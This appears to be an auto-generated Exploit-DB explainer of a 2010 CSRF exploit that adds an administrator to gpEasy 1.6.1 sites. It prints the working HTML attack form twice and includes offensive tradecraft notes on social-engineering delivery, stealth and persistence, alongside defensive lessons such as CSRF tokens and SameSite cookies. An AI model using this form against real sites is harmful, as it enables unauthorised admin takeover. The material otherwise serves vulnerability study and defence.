By exploitdb papers bot•April 28, 2010•
papers
Exploiting gpEasy 1.6.1: Adding an Admin via CSRF
Exploiting gpEasy 1.6.1: Adding an Admin via CSRF
What this paper is
This paper details a Cross-Site Request Forgery (CSRF) vulnerability in gpEasy version 1.6.1. The exploit allows an attacker to trick an authenticated administrator into unknowingly submitting a form that creates a new administrator user on the target gpEasy website.
Simple technical breakdown
The vulnerability lies in the fact that the gpEasy application, when an administrator is logged in, trusts requests to its user management page without proper verification of whether the request was intentionally initiated by the user.
An attacker crafts a malicious HTML page containing a form. This form is pre-filled with the desired username, password, and email for the new administrator. When an administrator visits this malicious page (while still logged into their gpEasy admin panel), their browser automatically sends the form data to the gpEasy server. The server, seeing a valid administrator's session cookie, processes the request and creates the new admin user.
Complete code and payload walkthrough
The provided exploit code is a simple HTML form. It's designed to be hosted on a server controlled by the attacker or delivered to the victim through other means (e.g., a link in an email).
<html>
<form method="post" action="[patth]/index.php/Admin_Users">
<input type="text" value="xxx" name="username"><br/>
<input type="password" value="xxx" name="password"><br/>
<input type="password" value="xxx" name="password1"><br/>
<input type="text" value="xxx" name="email"><br/>
<input value="Admin_Menu" type="hidden" name="grant[]">
<input value="Admin_Uploaded" type="hidden" name="grant[]">
<input value="Admin_Extra" type="hidden" name="grant[]">
<input value="Admin_Theme" type="hidden" name="grant[]">
<input value="Admin_Users" type="hidden" name="grant[]">
<input value="Admin_Configuration" type="hidden" name="grant[]">
<input value="Admin_Trash" type="hidden" name="grant[]">
<input value="Admin_Uninstall" type="hidden" name="grant[]">
<input value="Admin_Addons" type="hidden" name="grant[]">
<input value="Admin_New" type="hidden" name="grant[]">
<input value="Admin_Theme_Content" type="hidden" name="grant[]">
<input type="hidden" value="newuser" name="cmd">
<input type="submit" value="Continue" name="aaa" class="submit">
</form>
</html>Let's break down the form elements:
<form method="post" action="[patth]/index.php/Admin_Users">:method="post": Specifies that the form data will be sent using the HTTP POST method. This is typical for submitting data that modifies server-side state.action="[patth]/index.php/Admin_Users": This is the crucial part. It defines the target URL on the gpEasy application where the form data will be sent.[patth]is a placeholder that the attacker needs to replace with the actual path to the gpEasy installation on the victim's server.index.php/Admin_Userslikely points to the script responsible for managing users.
<input type="text" value="xxx" name="username"><br/>:- This input field is for the username of the new administrator. The
value="xxx"is a placeholder; the attacker would replace "xxx" with the desired username.
- This input field is for the username of the new administrator. The
<input type="password" value="xxx" name="password"><br/>:- This input field is for the password of the new administrator. The
value="xxx"is a placeholder; the attacker would replace "xxx" with the desired password.
- This input field is for the password of the new administrator. The
<input type="password" value="xxx" name="password1"><br/>:- This input field is for confirming the password. In many web applications, a second password field is used for confirmation. The
value="xxx"is a placeholder; the attacker would replace "xxx" with the desired password to match the first password field.
- This input field is for confirming the password. In many web applications, a second password field is used for confirmation. The
<input type="text" value="xxx" name="email"><br/>:- This input field is for the email address of the new administrator. The
value="xxx"is a placeholder; the attacker would replace "xxx" with the desired email address.
- This input field is for the email address of the new administrator. The
<input value="[Grant Name]" type="hidden" name="grant[]">(Multiple instances):- These are hidden input fields. They are not visible to the user but are sent with the form.
name="grant[]": This indicates that these fields are part of an array named "grant". This is how the application likely expects to receive a list of permissions or privileges for the new user.value="Admin_Menu",value="Admin_Uploaded", etc.: Each of these hidden inputs assigns a specific administrative privilege to the new user. By including all thesegrant[]fields, the attacker is attempting to give the new administrator full administrative rights.
<input type="hidden" value="newuser" name="cmd">:- Another hidden input field.
name="cmd": This likely represents a command or action to be performed by theAdmin_Usersscript.value="newuser": This value tells theAdmin_Usersscript to execute the "create new user" functionality.
<input type="submit" value="Continue" name="aaa" class="submit">:- This is the submit button. In a real CSRF attack, this button would typically be hidden or the form would be auto-submitted using JavaScript. The
value="Continue"is just the text displayed on the button.
- This is the submit button. In a real CSRF attack, this button would typically be hidden or the form would be auto-submitted using JavaScript. The
Mapping list:
formtag: Defines the overall structure for sending data.method="post": Specifies the HTTP method for data transmission.action="[patth]/index.php/Admin_Users": Target URL for the exploit.usernameinput: Sets the username for the new admin.passwordinput: Sets the password for the new admin.password1input: Confirms the password for the new admin.emailinput: Sets the email for the new admin.grant[]hidden inputs: Assigns administrative privileges to the new user.cmdhidden input withvalue="newuser": Instructs the application to create a new user.submitinput: Triggers the form submission (though often bypassed in CSRF via auto-submission).
Payload/Shellcode: There is no traditional shellcode in this exploit. The "payload" is the crafted HTTP POST request that the HTML form generates. The target application (gpEasy) is expected to interpret this POST request as a legitimate command to create a new administrator.
The final comment in the exploit: # Now you have an Admin user with name: xxx and password: xxx, just login page [path]/index.php/Admin indicates the attacker's goal: to create a backdoor administrator account that they can then use to log in.
Practical details for offensive operations teams
- Required Access Level: No initial access to the target system is required beyond the ability to host the exploit HTML file and trick a logged-in administrator into visiting it. The attacker needs to know the target's gpEasy installation path.
- Lab Preconditions:
- A vulnerable gpEasy 1.6.1 installation.
- An administrator account logged into the gpEasy application.
- The attacker needs to know the correct
[patth]to the gpEasy installation.
- Tooling Assumptions:
- A web server to host the malicious HTML file (e.g., Python's
SimpleHTTPServer, Apache, Nginx). - A method to deliver the link to the malicious page to the victim (e.g., email, social media, a compromised website).
- Basic understanding of HTML and HTTP POST requests.
- A web server to host the malicious HTML file (e.g., Python's
- Execution Pitfalls:
- Incorrect
[patth]: If the attacker specifies the wrong path to the gpEasy installation, the request will fail. - Victim not logged in: The CSRF attack only works if the target administrator is currently logged into their gpEasy session when they visit the malicious page.
- Application Updates: If the target has updated gpEasy beyond version 1.6.1, this specific vulnerability will not exist.
- Browser/Plugin Interference: Some browser extensions or security settings might interfere with automatic form submissions or cross-site requests, though this is less common for simple POST forms.
- CSRF Tokens: Modern web applications implement CSRF tokens, which are unique, secret, unpredictable values generated by the server and included in forms. The client must submit this token with the request for it to be valid. This exploit predates widespread CSRF token implementation or exploits a version where they were absent or improperly implemented.
- Incorrect
- Tradecraft Considerations:
- Social Engineering: The primary delivery mechanism will be social engineering to get the victim to click the link to the attacker-hosted exploit page.
- Stealth: The exploit itself is silent from the victim's perspective, other than potentially seeing a brief page load. The creation of the admin user is invisible to them.
- Persistence: Once the admin user is created, the attacker has a persistent access vector.
Where this was used and when
- Context: This exploit targets the gpEasy Content Management System (CMS). It was likely used against websites running gpEasy version 1.6.1.
- When: The paper was published on April 28, 2010. Therefore, this vulnerability was actively exploitable around 2010. Such vulnerabilities are typically discovered and exploited in the wild shortly after their disclosure.
Defensive lessons for modern teams
- Implement CSRF Protection: Always use robust CSRF protection mechanisms. This typically involves generating a unique, unpredictable token for each user session and embedding it in all forms that perform state-changing actions. The server must then validate this token on submission.
- Validate Origin of Requests: Beyond CSRF tokens, applications should ideally validate the
OriginandRefererHTTP headers to ensure requests are coming from trusted sources. However, these headers can sometimes be manipulated or absent, making them less reliable as a sole defense. - SameSite Cookies: Modern browsers support
SameSitecookie attributes, which can mitigate CSRF by controlling when cookies are sent with cross-site requests. Setting cookies toStrictorLaxcan prevent them from being sent with requests initiated by external sites. - Principle of Least Privilege: Even if an attacker gains administrative access, limiting the privileges of individual administrative roles can reduce the impact of a successful exploit. For instance, not all administrators need the ability to create new users.
- Regular Patching and Updates: Keeping web applications and their components (CMS, plugins, themes) updated to the latest stable versions is crucial to patch known vulnerabilities.
- Web Application Firewalls (WAFs): WAFs can sometimes detect and block common CSRF patterns, although they are not a substitute for secure coding practices.
ASCII visual (if applicable)
This exploit is a client-side attack that leverages an authenticated user's session. An ASCII diagram can illustrate the flow.
+-----------------+ +-----------------------+ +---------------------+
| Attacker's Host | ----> | Victim's Browser | ----> | Target gpEasy App |
| (Malicious HTML) | | (Logged-in Admin) | | (Vulnerable 1.6.1) |
+-----------------+ +-----------------------+ +---------------------+
^ | |
| | 1. Victim visits malicious link |
| | (e.g., via email) |
| | |
| | 2. Browser auto-submits form |
| | (POST request to |
| | /index.php/Admin_Users) |
| | |
| | 3. Request includes Admin's |
| | session cookie |
| | |
| +---------------------------------+
| |
| | 4. gpEasy app processes
| | request, creates new
| | admin user (e.g., 'xxx')
| |
+---------------------------------------------------------+
(Attacker now has a new admin account)Source references
- Paper ID: 12441
- Paper Title: gpEasy 1.6.1 - Cross-Site Request Forgery (Add Admin)
- Author: Giuseppe 'giudinvx' D'Inverno
- Published: 2010-04-28
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/12441
- Raw Exploit URL: https://www.exploit-db.com/raw/12441
Original Exploit-DB Content (Verbatim)
=============================================
gpEasy <= 1.6.1 CSRF Remote Add Admin Exploit
=============================================
Author : Giuseppe 'giudinvx' D'Inverno
Email : <giudinvx[at]gmail[dot]com>
Date : 04-29-2010
Site : http://www.giudinvx.altervista.org/
Location : Naples, Italy
--------------------------------------------------------
Application Info
Site : http://www.gpeasy.com/
Version: 1.6.1
--------------------------------------------------------
==============[[ -Exploit Code- ]]==============
<html>
<form method="post" action="[patth]/index.php/Admin_Users">
<input type="text" value="xxx" name="username"><br/>
<input type="password" value="xxx" name="password"><br/>
<input type="password" value="xxx" name="password1"><br/>
<input type="text" value="xxx" name="email"><br/>
<input value="Admin_Menu" type="hidden" name="grant[]">
<input value="Admin_Uploaded" type="hidden" name="grant[]">
<input value="Admin_Extra" type="hidden" name="grant[]">
<input value="Admin_Theme" type="hidden" name="grant[]">
<input value="Admin_Users" type="hidden" name="grant[]">
<input value="Admin_Configuration" type="hidden" name="grant[]">
<input value="Admin_Trash" type="hidden" name="grant[]">
<input value="Admin_Uninstall" type="hidden" name="grant[]">
<input value="Admin_Addons" type="hidden" name="grant[]">
<input value="Admin_New" type="hidden" name="grant[]">
<input value="Admin_Theme_Content" type="hidden" name="grant[]">
<input type="hidden" value="newuser" name="cmd">
<input type="submit" value="Continue" name="aaa" class="submit">
</form>
</html>
# Now you have an Admin user with name: xxx and password: xxx, just login
page [path]/index.php/Admin